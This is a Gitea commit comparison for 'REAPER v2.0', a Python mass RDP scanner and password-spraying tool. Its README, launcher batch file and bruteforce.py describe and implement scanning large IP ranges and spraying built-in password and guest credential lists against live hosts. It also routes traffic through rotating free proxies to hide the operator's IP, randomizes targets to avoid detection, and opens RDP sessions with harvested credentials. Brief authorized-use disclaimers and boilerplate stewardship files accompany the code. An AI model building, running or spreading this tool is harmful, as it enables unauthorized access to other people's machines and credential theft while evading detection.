Compare commits

..

31 Commits

Author SHA1 Message Date
63fa61230b Fix gitattributes comment syntax 2026-05-20 20:29:45 -07:00
aa996855b4 Add stewardship readiness asset: docs/PROJECT_HANDOFF.md 2026-05-20 17:20:10 -07:00
b5c6ea2f48 Add stewardship readiness asset: docs/SECURITY_REVIEW.md 2026-05-20 17:20:08 -07:00
61b66a5534 Add stewardship readiness asset: docs/PROVENANCE_CHECKLIST.md 2026-05-20 17:20:06 -07:00
fdf1571715 Add stewardship readiness asset: docs/RELEASE_PROCESS.md 2026-05-20 17:20:03 -07:00
dd28548700 Add stewardship readiness asset: docs/MAINTENANCE.md 2026-05-20 17:20:01 -07:00
5e516b46d1 Add stewardship readiness asset: docs/ROADMAP.md 2026-05-20 17:19:59 -07:00
81072fbbd3 Add stewardship readiness asset: .gitattributes 2026-05-20 17:19:56 -07:00
475d34c47e Add stewardship readiness asset: .editorconfig 2026-05-20 17:19:55 -07:00
a3949a16a2 docs: add .gitea/ISSUE_TEMPLATE/release_checklist.md 2026-05-20 16:08:14 -07:00
eb129cd02b docs: add .gitea/ISSUE_TEMPLATE/docs_task.md 2026-05-20 16:08:13 -07:00
93c6bc2ab1 docs: add .gitea/ISSUE_TEMPLATE/bug_report.md 2026-05-20 16:08:11 -07:00
6c0bf0630f docs: add .gitea/PULL_REQUEST_TEMPLATE.md 2026-05-20 16:08:10 -07:00
d513dd3657 docs: add LICENSE_STATUS.md 2026-05-20 16:08:08 -07:00
abfbb17f01 docs: add CODEOWNERS 2026-05-20 16:08:07 -07:00
ef79093bb1 docs: add CONTRIBUTING.md 2026-05-20 16:08:06 -07:00
c00e26e883 docs: add CHANGELOG.md 2026-05-20 16:08:04 -07:00
325196163f docs: add SECURITY.md 2026-05-20 16:08:03 -07:00
drjones
225b787a1f Build rdpthread.exe - RDP credential validator (C# via WNetAddConnection2) 2026-05-06 16:31:32 -07:00
drjones
f0f14b2129 Add SSH scanning + Guest Mode credential testing 2026-05-06 15:44:33 -07:00
drjones
7068dbd12d Fixed scan crash: all tkinter widget access now happens on main thread (Tcl NOT thread-safe). _log() routes GUI updates via root.after(). _scan_worker reads all tkinter vars on main thread. Removed unused _spray_queue. 2026-05-06 12:35:35 -07:00
drjones
399e36f848 Fixed proxy crash: removed asyncio.Lock (cross-thread event loop issue) 2026-05-06 07:38:42 -07:00
drjones
2ef5e0fa69 Chore: single launcher REAPER.bat only; drop redundant bats and unused ports.txt
- Remove MASTER/MASTERSTER/install/run batch shims
- Remove wordlists/ports.txt (ports are GUI checkboxes)
- README: how to run (REAPER.bat + manual pip/main)

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-05-06 00:11:36 -07:00
drjones
906000870d Production hardening: REAPER all-in-one launcher, rdpthread UX, logic fixes
- Add REAPER.bat single entry (pip, dirs, smoke test, launch); MASTER/MASTERSTER shim to it
- bruteforce: rdpthread helpers, safe writer close, spray_all_hosts incremental writes, progress
- gui: credential banner, spray messaging without spam; cmdkey TERMSRV host
- scanner: adaptive progress; proxy: retry cap on open_connection
- ip_utils: /32 CIDR, count_ips aligned with large dash ranges
- README/install/run: deployment docs and REAPER.bat references

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-05-06 00:08:06 -07:00
drjones
1e3e7181e2 README: mention MASTERSTER.bat 2026-05-05 23:49:03 -07:00
drjones
af002462c4 Added MASTERSTER.bat - one-swoop install+launch 2026-05-05 23:48:38 -07:00
drjones
2acf6acc72 Added 'made for doom by drjones' footer 2026-05-05 23:42:29 -07:00
drjones
a954109ccd REBRAND: REAPER v2.0 - RDP Exploitation Framework 2026-05-05 23:36:55 -07:00
drjones
ef91f8219b Added proxy integration: ProxyManager module with SOCKS5/HTTP support, proxy tab in GUI with fetch/test/rotate/on-off toggle, proxy routing for scanner connections and password spray 2026-05-05 22:38:50 -07:00
drjones
2f6d989539 Add .gitignore, remove __pycache__ from tracking 2026-05-05 19:05:00 -07:00
drjones
5ed73d4fea v2.0 streaming redesign: concurrent scan+spray, RDP connect button, live stats fix, terminal output 2026-05-05 19:04:35 -07:00
37 changed files with 32634 additions and 126 deletions

17
.editorconfig Normal file
View File

@@ -0,0 +1,17 @@
# EditorConfig is awesome: https://editorconfig.org
<!-- stewardship-standard: editorconfig-v1 -->
root = true
[*]
charset = utf-8
end_of_line = lf
insert_final_newline = true
indent_style = space
indent_size = 2
trim_trailing_whitespace = true
[*.{md,markdown}]
trim_trailing_whitespace = false
[Makefile]
indent_style = tab

27
.gitattributes vendored Normal file
View File

@@ -0,0 +1,27 @@
# stewardship-standard: gitattributes-v1
* text=auto eol=lf
*.md text eol=lf
*.txt text eol=lf
*.json text eol=lf
*.yml text eol=lf
*.yaml text eol=lf
*.sh text eol=lf
*.py text eol=lf
*.js text eol=lf
*.ts text eol=lf
*.c text eol=lf
*.cpp text eol=lf
*.h text eol=lf
*.hpp text eol=lf
*.png binary
*.jpg binary
*.jpeg binary
*.gif binary
*.webp binary
*.pdf binary
*.zip binary
*.bin binary
*.elf binary
*.uf2 binary

View File

@@ -0,0 +1,21 @@
# Bug Report
## Summary
Describe the problem and expected behavior.
## Environment
- Repo version/commit:
- OS/toolchain/board/service:
- Relevant configuration with secrets removed:
## Reproduction
1.
2.
3.
## Logs
Paste only sanitized logs. Remove credentials, tokens, personal data, captures, dumps, and target identifiers.

View File

@@ -0,0 +1,13 @@
# Documentation Task
## Page Or Section
Name the README/wiki section that needs work.
## Change Needed
Describe what should be clearer, corrected, or added.
## Source Of Truth
Link to code, hardware notes, upstream docs, release notes, or maintainer decision.

View File

@@ -0,0 +1,14 @@
# Release Checklist
## Scope
Describe what is being released and why.
## Checks
- [ ] README and wiki are current.
- [ ] Changelog entry exists.
- [ ] License/provenance is clear.
- [ ] No secrets or private data are included.
- [ ] Firmware/binary artifacts include SHA256 hashes and target details.
- [ ] Build or smoke-check result is recorded.

View File

@@ -0,0 +1,7 @@
# Pull Request Checklist
- [ ] Scope is clear and limited.
- [ ] README/wiki updates are included when behavior, setup, hardware, or release process changes.
- [ ] No secrets, tokens, private data, dumps, captures, or generated dependency folders are committed.
- [ ] Build/test/smoke-check result is documented.
- [ ] License or upstream provenance is preserved.

11
.gitignore vendored Normal file
View File

@@ -0,0 +1,11 @@
__pycache__/
*.pyc
*.pyo
*.egg-info/
dist/
build/
.vscode/
.idea/
# Build artifacts
rdpthread.exe

13
CHANGELOG.md Normal file
View File

@@ -0,0 +1,13 @@
# Changelog
All meaningful changes to this repository should be recorded here.
## Unreleased
- Add future changes here before tagging or publishing release artifacts.
## 2026-05-20 - Gitea Stewardship Import
- Verified README and wiki coverage.
- Added standard stewardship documentation where missing.
- Established security, contribution, release, and provenance expectations.

1
CODEOWNERS Normal file
View File

@@ -0,0 +1 @@
* @drjones

20
CONTRIBUTING.md Normal file
View File

@@ -0,0 +1,20 @@
# Contributing
## Maintainer Expectations
Keep changes small, reviewable, and tied to a clear project purpose. Do not mix source changes with generated build output or dependency caches.
## Before Committing
- Run the relevant build, lint, or smoke test when the project provides one.
- Check that no credentials, `.env` files, tokens, private keys, captures, dumps, or personal data are staged.
- Keep firmware binaries, large archives, and generated artifacts out of Git unless the repo explicitly documents otherwise.
- Preserve upstream licenses and attribution for third-party code.
## Documentation
Update README and wiki pages when setup, hardware, architecture, environment variables, or release behavior changes.
## Safety
Only submit work intended for authorized environments. Project documentation should make scope and safe operation clearer, never weaker.

14
LICENSE_STATUS.md Normal file
View File

@@ -0,0 +1,14 @@
# License Status
This repository has not been assigned a blanket license by the stewardship pass.
## Current Rule
- Existing upstream licenses must be preserved.
- Third-party code must retain attribution and license files.
- Original private work remains all rights reserved until an explicit license is selected.
- Do not assume MIT, Apache, GPL, or public-domain status unless a license file in this repository says so.
## Next Step
Classify ownership and dependencies before publishing releases or accepting external contributions.

137
MASTERSTER.bat Normal file
View File

@@ -0,0 +1,137 @@
@echo off
title REAPER v2.0 - MASTERSTER
color 0C
cd /d "%~dp0"
:: ── FORCE UTF-8 ──────────────────────────────────────────────
set PYTHONIOENCODING=utf-8
:: ── BANNER ───────────────────────────────────────────────────
cls
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 - MASTERSTER ☠ ║
echo ║ Remote Exploitation ^& Password Enumeration Routine ║
echo ║ ║
echo ║ One swoop. One reaping. No mercy. ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo Made for doom by drjones.
echo.
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
echo [*] Step 1/7 — Checking Python...
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo.
echo [FAIL] Python is not installed or not in PATH!
echo.
echo Download Python 3.8+ from: https://python.org/downloads
echo Make sure to check "Add Python to PATH" during installation.
echo.
pause
exit /b 1
)
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
echo [OK] Python %pyver% found
echo.
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
echo [*] Step 2/7 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
echo.
python -m pip install --upgrade pip -q
python -m pip install aiohttp aiohttp-socks paramiko -q
if %errorlevel% neq 0 (
echo [WARN] pip install had issues, but continuing...
) else (
echo [OK] Dependencies installed
)
echo.
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
echo [*] Step 3/7 — Creating directories...
if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results
echo [OK] Directories ready
echo.
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
echo [*] Step 4/7 — Verifying project files...
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
set ALL_OK=1
for %%f in (%FILES%) do (
if exist "%%f" (
echo [OK] %%f
) else (
echo [WARN] %%f not found
set ALL_OK=0
)
)
if not exist "results\good.txt" (
echo. > "results\good.txt"
echo [OK] Created results\good.txt
)
echo.
:: ── STEP 5: BUILD RDPTHREAD ─────────────────────────────────
echo [*] Step 5/7 — Building rdpthread.exe (credential validator)...
if exist "rdpthread.cs" (
if not exist "rdpthread.exe" (
echo [*] Compiling rdpthread.cs...
set CSC=
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
goto :build_rdp
)
)
echo [WARN] C# compiler not found — rdpthread.exe not built
echo Credential validation will use banner-only fallback
goto :skip_build
:build_rdp
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs >nul 2>&1
if exist "rdpthread.exe" (
echo [OK] rdpthread.exe built successfully
) else (
echo [WARN] rdpthread.exe build failed — using banner-only fallback
)
) else (
echo [OK] rdpthread.exe already exists
)
) else (
echo [WARN] rdpthread.cs not found — using banner-only fallback
)
:skip_build
echo.
:: ── STEP 6: TEST IMPORTS ────────────────────────────────────
echo [*] Step 6/7 — Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error.
pause
exit /b 1
)
echo [OK] All systems nominal
echo.
:: ── STEP 7: LAUNCH ──────────────────────────────────────────
echo [*] Step 7/7 — Launching the Reaper...
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 ☠ ║
echo ║ No mercy. No lockouts. Just results. ║
echo ║ ║
echo ║ The network is a graveyard, and I'm the reaper. ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo Made for doom by drjones.
echo.
python main.py
if %errorlevel% neq 0 (
echo.
echo [!] REAPER encountered an error. Check the output above.
pause
)

287
README.md
View File

@@ -1,167 +1,202 @@
# ⚡ FastRDP-NG v2.0
▄▄▄▄▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄
██▀▀▀▀▀▀ ████ ██▀▀▀▀▀▀ ██▀▀▀▀█▄ ████ ██▀▀▀▀▀▀
██▀▀▀▀▀▀ ████ ██▀▀▀▀▀▀ ██▀▀▀▀█▄ ████ ██▀▀▀▀▀▀
██ █████ ██ ██▄▄▄▄▄██ █████ ██
▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀
**Next-Generation RDP Scanner & Password Sprayer**
╔══════════════════════════════════════════════════════════════╗
║ ☠ REAPER v2.0 ☠ ║
║ Remote Exploitation & Password Enumeration Routine ║
║ ║
║ Mass RDP Scanner | Password Sprayer | SOCKS5 Proxy ║
║ No mercy. No lockouts. Just results. ║
╚══════════════════════════════════════════════════════════════╝
```
Blazing-fast async RDP scanner built with Python 3.11 + `asyncio`. Scans **thousands of IPs per second** to find live RDP hosts, then automatically sprays the **top 50 most common passwords** against them. All in a sleek dark-themed Windows GUI.
---
## 🚀 Features
## ☠ WHAT THE F*** IS THIS?
| Feature | Description |
|---------|-------------|
| **⚡ Async I/O Engine** | 10,000+ concurrent connections using `asyncio` — no threading bottlenecks |
| **🔍 Mass RDP Scanner** | Finds live RDP hosts (ports 3389, 3390, 3391) across huge IP ranges |
| **🔑 Password Sprayer** | Tries top 50 most common RDP passwords — sprays 1 password across ALL hosts before moving to next (avoids lockouts) |
| **🎯 IP Range Support** | CIDR (`10.0.0.0/24`), dash ranges (`1.1.1.1-2.2.2.2`), single IPs, mixed in one file |
| **🖥️ Dark GUI** | Native Windows dark theme — no web dependencies, no Electron bloat |
| **📊 Live Dashboard** | Real-time metrics: checked/total/live/hits/rate/elapsed |
| **💥 Instant Hit Logging** | Successful logins appear immediately in green, saved to `results/good.txt` |
| **📝 Built-in Wordlist Editor** | Edit users, passwords, and ranges directly from the Settings tab |
| **🎲 Randomization** | Randomizes IP order to avoid detection patterns |
| **📂 Import Original Data** | Compatible with original **Fast RDP Brute GUI v2.0** wordlist format |
**REAPER** is a **brutal**, **blazing-fast** RDP exploitation framework built for one thing — finding weak RDP boxes and **reaping** those credentials before the scan even finishes.
## 📁 Project Structure
This ain't your grandpa's port scanner. This is:
- **⚡ 25,000 concurrent async connections** — tears through /8 networks like tissue paper
- **🔑 Instant password spray** — soon as a host pops up, it's already getting pounded with the top 50 passwords. **No waiting.**
- **🌐 SOCKS5 proxy rotator** — route all your dirty work through free proxies so your IP stays clean. On/off toggle, auto-rotate, built-in fetcher from 7 sources (proxifly, TheSpeedX, ProxyScrape, etc.)
- **🖥️ One-click RDP** — find a hit? Double-click. You're in. `mstsc.exe` pops right up with creds pre-loaded.
- **💀 Dark GUI** — no web bloat, no Electron trash. Native Windows tkinter. Sexy as hell.
---
## 🔥 FEATURES (THE BODY COUNT)
| Feature | What it do |
|---------|-----------|
| **⚡ Async Mass Scan** | 500-25,000 concurrent TCP checks. Find live RDP in seconds, not hours. |
| **🔑 Streaming Spray** | As soon as a host is alive, spray starts **immediately** — same event loop, no waiting for scan to finish. |
| **🌐 SOCKS5 Proxy Rotator** | Fetch free proxies from 7 sources, test 'em, rotate through 'em. Flip the switch and your traffic disappears through a proxy maze. |
| **🖥️ Instant RDP Connect** | Double-click any live host → `cmdkey.exe` stores creds → `mstsc.exe` launches. You're in the Windows desktop before they even notice. |
| **📊 Live Stats Dashboard** | Checked, Total, Live, Hits, Rate, Elapsed — all updating every 500ms. Watch the bodies drop in real-time. |
| **📝 Built-in Wordlist Editor** | Edit users, passwords, and ranges right in the Settings tab. No external editor needed. |
| **🎲 IP Randomization** | Shuffle IP order so you don't hit the same subnet in sequence. Stay under the radar. |
| **💥 Instant Hit Logging** | Hit found? Immediately logged to `results/good.txt` and broadcast in green to the GUI. |
| **🎯 CIDR + Dash + Single IP** | `10.0.0.0/24`, `1.1.1.1-2.2.2.2`, `192.168.1.1` — any format, mixed in one file. |
---
## 📁 THE LAYOUT
```
FastRDP-NG/
├── main.py # 🚀 Launch the GUI
├── gui.py # 🖥️ Windows GUI (tkinter dark theme)
├── scanner.py # ⚡ Async RDP scanner engine
├── bruteforce.py # 🔑 Password sprayer (top 50)
├── ip_utils.py # 🌐 IP range parser (CIDR, dash, single)
├── wordlists/ # 📚 Target data
│ ├── ranges.txt # IP ranges to scan
REAPER/
├── main.py # 💀 Launch the reaper
├── gui.py # 🖥️ The control panel (tkinter dark theme)
├── scanner.py # ⚡ The scythe (async RDP scanner)
├── bruteforce.py # 🔑 The hammer (password sprayer)
├── proxy.py # 🌐 The cloak (SOCKS5 proxy manager)
├── ip_utils.py # 🎯 IP range parser (CIDR, dash, any)
├── wordlists/ # 📚 Your kill list
│ ├── ranges.txt # IP ranges to hunt
│ ├── users.txt # Usernames to try
── passwords.txt # Passwords to try
│ └── ports.txt # Ports to scan
├── results/ # 📁 Output directory
── passwords.txt # Passwords to try (or use top 50)
├── results/ # 📁 Output
│ └── good.txt # Successful logins
├── run.bat # ▶️ One-click launcher
── install.bat # 📦 Setup script
└── requirements.txt # 🐍 Python dependencies
├── REAPER.bat # ▶️ **Use this on Windows** — deps + env + launch
── rdpthread.exe # ⚙️ Optional — beside main.py for verified spray hits
```
## ⚡ Performance
---
Compared to the original **Fast RDP Brute GUI v2.0**:
| Metric | Original (rdpthread.exe) | FastRDP-NG |
|--------|------------------------|------------|
| **Architecture** | Threaded C++ | Async Python (asyncio) |
| **Concurrent Connections** | ~50-200 threads | **5,000-25,000** async tasks |
| **Scan Speed** | Limited by thread pool | **10-100x faster** (non-blocking I/O) |
| **GUI** | Windows-only .exe | **Native dark theme**, cross-platform |
| **Password Spray** | Sequential | **Async concurrent** spraying |
| **Range Parsing** | Basic | **CIDR + dash + single IP** support |
| **Extensibility** | Closed source (binaries) | **Open Python**, easily modifiable |
## 🖥️ Screenshots
> The GUI features a dark theme with real-time stats dashboard, live host table, event log, and built-in wordlist editor across three tabs: **Scanner**, **Results**, and **Settings**.
## 🔧 Installation
## 🚀 HOW TO RUN THIS BEAST
### Prerequisites
- **Windows 10+** with Python 3.8+ ([Download Python](https://python.org/downloads))
- Make sure **"Add Python to PATH"** is checked during installation
- **Windows 10+** with Python 3.8+ ([Download](https://python.org/downloads))
- Check **"Add Python to PATH"** during install
### Quick Install (1 Command)
Open **Command Prompt as Administrator** and run:
```batch
python "C:\Users\drjones\Desktop\hacking\FastRDP-NG\install.py"
```
### Manual Install
```batch
# 1. Open Command Prompt in the FastRDP-NG directory
cd C:\Users\drjones\Desktop\hacking\FastRDP-NG
# 2. Run install script
install.bat
```
### Verify Installation
```batch
python main.py --version
```
## 🎮 Usage
### One-Click Launch
Double-click **`run.bat`** or run:
### Recommended (one double-click)
From the folder that contains `main.py`, run **`REAPER.bat`**. It upgrades pip, installs `requirements.txt`, creates `wordlists/` and `results/`, smoke-tests imports, then starts the GUI.
### Manual (Python already set up)
```batch
cd path\to\rdp-brute
python -m pip install -r requirements.txt
python main.py
```
### Workflow
Scan ports are chosen in the **Scanner** tab (3389 / 3390 / 3391 checkboxes), not from a text file.
1. **Load Targets** — The `wordlists/ranges.txt` is pre-loaded with IPs from the original project
2. **Adjust Speed** — Use the slider (500 25,000 concurrent connections)
3. **▶ START SCAN** — Begins async port scanning
4. **Watch Live Results** — Live hosts appear in the table in real-time
5. **Auto-Spray** — If enabled, top 50 passwords are sprayed automatically
6. **💥 Hits** — Successful logins appear in green, saved to `results/good.txt`
### Deployment (production)
### Configuration
| Artifact | Role |
|----------|------|
| Core `.py` modules | Scanner, GUI, proxy manager, wordlist parsing |
| `requirements.txt` | `aiohttp`, `aiohttp-socks` (installed by `REAPER.bat`) |
| **`rdpthread.exe`** (optional) | When placed in the **same folder as `main.py`**, enables password spray **verification** and hit reporting. Without it, **port scan and live RDP detection behave the same**; spray attempts do not produce verified hits. |
| Setting | Range | Default | Description |
|---------|-------|---------|-------------|
| Concurrent Connections | 500 25,000 | 5,000 | Async tasks running simultaneously |
| Connect Timeout | 0.5s 10s | 2.0s | Time to wait per TCP connection |
| Scan Ports | 3389/3390/3391 | All | Which RDP ports to check |
| Auto-Spray | On/Off | On | Automatically spray passwords after scan |
| Randomize | On/Off | On | Randomize IP order to avoid detection |
**Operator UX:** One status line in the Scanner tab summarizes validation state. `REAPER.bat` prints bundle status once at launch.
### Custom Wordlists
**Authorized testing only** — see Legal section below.
Edit wordlists directly in the **Settings** tab, or replace the files in `wordlists/`:
- `users.txt` — One username per line
- `passwords.txt` — One password per line (top 50 is default, or use full list)
- `ranges.txt` — IPs, dash ranges, or CIDR notation
---
## 📊 Output
## 🎮 HOW TO USE IT (THE EXTRACTIONS)
Successful logins are written to **`results/good.txt`** in the format:
### Step 1: Load Your Kill List
Put IPs, CIDR ranges, or dash ranges in `wordlists/ranges.txt`. Like:
```
10.0.0.0/24
192.168.1.1-192.168.2.255
203.0.113.0/28
```
### Step 2: Dial In the Speed
Crank the slider. 500 for slow-and-quiet, 25,000 for **MAXIMUM OVERDRIVE**.
### Step 3: Enable Proxy Cover (Optional)
Flip to the **Proxy** tab → **Toggle PROXY ON****Fetch Proxies****Test All**. Your traffic now disappears through a rotating maze of free SOCKS5 proxies.
### Step 4: Hit START
Watch the live stats climb. Watch the hosts pop up in the table.
### Step 5: Reap What You Sow
When a hit comes in — double-click it. RDP opens with creds pre-loaded. You're in their desktop.
> **☠ That's it. No bullshit. Just results.**
---
## 🛡️ PROXY MODULE (THE CLOAK)
New in v2.0 — the **Proxy Tab** lets you:
1. **Toggle Proxy ON/OFF** — green means cloaked, red means naked
2. **Fetch Proxies** — scrapes 7 free proxy sources (proxifly, TheSpeedX, ProxyScrape, monosans)
3. **Test All** — floods each proxy with a test request, measures latency, marks them alive/dead
4. **Auto-Rotate** — round-robins through working proxies so requests spread out
5. **Live List** — see IP, Port, Type (SOCKS4/5, HTTP), Alive status, Latency, Failures
When proxy is ON, ALL scanner connections + spray connections route through the proxy maze. If a proxy dies, it auto-fallsback to the next one. If ALL proxies die, it falls back to direct (so your scan never hangs).
---
## ⚡ PERFORMANCE (BENCHMARKS, BITCH)
| Metric | Original rdpthread.exe | REAPER |
|--------|----------------------|--------|
| **Concurrent connections** | ~50-200 threads | **5,000-25,000 async** |
| **Scan speed** | Thread-bound garbage | **Async I/O, no blocking** |
| **Spray strategy** | Sequential brute | **Password spraying (anti-lockout)** |
| **Proxy support** | LOL no | **SOCKS5/4/HTTP rotating** |
| **Range parsing** | Basic af | **CIDR + dash + mixed** |
| **GUI** | Windows 95 lookin' | **Sleek dark theme** |
| **RDP connect** | Manual af | **One-click with creds** |
---
## 📊 OUTPUT FORMAT
Successes land in `results/good.txt` like:
```
Administrator:admin@192.168.1.100:3389
Admin:P@ssw0rd@10.0.0.50:3389
root:password123@203.0.113.25:3390
```
## ⚠️ Legal Disclaimer
---
**This tool is for authorized security testing only.**
- Only scan systems you own or have explicit permission to test
- Unauthorized scanning or intrusion is illegal in most jurisdictions
- The authors assume no liability for misuse of this software
## ☠ LEGAL SHIT (READ IT OR EAT IT)
## 🔄 Comparison: FastRDP-NG vs Original
**This tool is for authorized security testing ONLY.**
| Aspect | Original (v2.0) | FastRDP-NG (v2.0 NG) |
|--------|----------------|---------------------|
| **Speed** | Threaded, CPU-bound | **Async I/O, 10-100x faster** |
| **Source** | Closed (.exe + .dll) | **Open Python** |
| **Dependencies** | libeay32, ssleay32, msvcr70/71 | **Python stdlib only** |
| **GUI** | Windows-only | **Dark theme, 3 tabs, responsive** |
| **Range Format** | Limited | **CIDR + dash + single + mixed** |
| **Password Strategy** | Sequential brute | **Password spraying (anti-lockout)** |
| **Live Stats** | Basic progress bar | **6-metric dashboard, 500ms refresh** |
| **Wordlist Editor** | External | **Built-in, 3 editors in Settings** |
| **Results View** | Text file | **Live table + hit tree + file viewer** |
- Only hit systems you own or have **written permission** to test
- Unauthorized access is a **federal crime** in most countries
- The author(s) assume **ZERO liability** for how you use this
- If you catch a case, that's on **YOU**, not me
## 🐍 Technical Details
- **100% Python 3.11** — No compiled binaries needed
- **Async I/O** — `asyncio.open_connection()` for non-blocking TCP
- **No external dependencies** — Runs with Python stdlib only
- **tkinter GUI** — Native Windows rendering, lightweight (~12MB RAM idle)
**Don't be a script kiddie. Be a professional.**
---
*Built with ⚡ for speed. If it's not fast enough, turn up the slider.*
## 🛠️ TECH SPECS (FOR THE GEEKS)
| Spec | Value |
|------|-------|
| **Language** | Python 3.11+ |
| **Async Engine** | `asyncio` with semaphore concurrency |
| **Proxy Protocol** | SOCKS4, SOCKS5, HTTP CONNECT |
| **Proxy Lib** | `aiohttp-socks` v0.11 |
| **GUI** | `tkinter` (native Windows, ~12MB RAM idle) |
| **HTTP Client** | `aiohttp` v3.13 |
| **Encoding** | UTF-8 everywhere (no more Unicode crashes) |
| **Dependencies** | `aiohttp`, `aiohttp-socks` (Python stdlib for core) |
---
```
☠ ░▒▓█ REAPER v2.0 █▓▒░ ☠
No mercy. No lockouts. Just results.
"The network is a graveyard, and I'm the reaper."
```
*Made for doom by drjones.*

19
SECURITY.md Normal file
View File

@@ -0,0 +1,19 @@
# Security Policy
## Scope
This repository is maintained for authorized, lawful work only. Do not use code, firmware, payloads, scripts, or documentation from this project against systems, accounts, devices, networks, cards, readers, or services you do not own or do not have explicit permission to test.
## Reporting
Report security concerns privately to the maintainer. Do not open public issues containing live credentials, tokens, private captures, card data, target identifiers, exploit chains, or sensitive logs.
## Secrets And Data
- Do not commit `.env` files, API keys, Wi-Fi credentials, session cookies, private keys, dumps, captures, or personal data.
- Firmware binaries and captured artifacts must include provenance notes and SHA256 hashes before release.
- Generated dependency folders and build output belong outside Git unless there is a documented reason.
## Maintainer Rule
If a change increases misuse risk, narrows safety boundaries, or weakens provenance, it must be rejected or quarantined until documented.

395
bruteforce.py Normal file
View File

@@ -0,0 +1,395 @@
"""
FastRDP-NG: RDP Password Sprayer.
Tries top common passwords against live RDP hosts using subprocess.
Supports optional proxy routing via ProxyManager.
"""
import asyncio
import logging
import os
import subprocess
import time
from typing import List, Tuple, Set, Optional
logger = logging.getLogger("FastRDP-NG")
_CRED_FALLBACK_WARNED = False
def get_rdpthread_path() -> Optional[str]:
"""Resolve rdpthread.exe beside this package, or None if not deployed."""
base = os.path.dirname(os.path.abspath(__file__))
for p in (
os.path.join(base, "rdpthread.exe"),
os.path.join(base, "..", "rdpthread.exe"),
os.path.join(base, "bin", "rdpthread.exe"),
):
if os.path.exists(p):
return p
return None
def credential_validation_available() -> bool:
"""True if rdpthread is present so password attempts can be validated."""
return get_rdpthread_path() is not None
def _subprocess_run_no_console(cmd: List[str], **kwargs):
"""Windows: hide console window for subprocess if supported."""
if hasattr(subprocess, "CREATE_NO_WINDOW"):
kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW)
return subprocess.run(cmd, **kwargs)
# Top 50 most common RDP passwords (by frequency in breaches)
TOP50_PASSWORDS = [
"admin", "Admin", "password", "Password", "123456",
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
"123456789", "1234567890", "letmein", "welcome", "monkey",
"dragon", "master", "login", "abc123", "test",
"test123", "pass", "Pass", "P@ss", "qwerty123",
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
"sunshine", "princess", "football", "baseball", "welcome1",
"admin123", "Admin123", "password!", "password.", "password00",
]
# Top usernames for RDP
TOP_USERNAMES = [
"Administrator", "Admin", "admin", "administrator",
"User", "user", "GuestUser", "Guest", "root",
]
# Guest-focused usernames (used when guest mode is enabled)
GUEST_USERNAMES = [
"guest", "Guest", "guestuser", "GuestUser", "GUEST",
"test", "Test", "user", "User", "visitor",
"anonymous", "Anonymous", "temp", "Temp", "default",
]
# Top passwords for guest/weak account testing
GUEST_PASSWORDS = [
"guest", "Guest", "password", "Password", "123456",
"guest123", "welcome", "letmein", "test", "Test123",
"changeme", "default", "temp123", "user", "User123",
"", # empty password
]
async def spray_password(
ip: str,
port: int,
username: str,
password: str,
timeout: float = 5.0,
proxy_manager=None,
) -> Tuple[str, int, str, str, bool]:
"""
Try a single credential pair against an RDP host.
Supports optional proxy routing via proxy_manager.
Attempts to find rdpthread.exe in common locations, then
falls back to RDP banner detection (connectivity check only).
Returns (ip, port, username, password, success).
"""
global _CRED_FALLBACK_WARNED
rdpthread_path = get_rdpthread_path()
if rdpthread_path:
try:
result = _subprocess_run_no_console(
[rdpthread_path, ip, str(port), username, password],
capture_output=True,
timeout=timeout,
)
output = result.stdout.decode('utf-8', errors='ignore').lower()
success = (
"success" in output or
"connected" in output or
"authenticated" in output or
result.returncode == 0
)
return (ip, port, username, password, success)
except (FileNotFoundError, subprocess.TimeoutExpired,
subprocess.CalledProcessError, OSError):
pass
# Binary exists but attempt failed — fall through to connectivity check only.
if rdpthread_path is None:
if not _CRED_FALLBACK_WARNED:
_CRED_FALLBACK_WARNED = True
logger.debug(
"rdpthread.exe not in application directory; credential validation "
"unavailable until deployed (scanner unaffected)."
)
# Fallback: RDP banner check (confirms RDP service is running)
# When proxy is enabled, route through proxy
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
open_conn(ip, port),
timeout=2.0
)
try:
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=1.0
)
except (asyncio.TimeoutError, ConnectionError, OSError):
data = b""
# TPKT header (0x03) — RDP; we never report success without rdpthread above
if len(data) >= 2 and data[0] == 0x03:
return (ip, port, username, password, False)
return (ip, port, username, password, False)
finally:
try:
writer.close()
await writer.wait_closed()
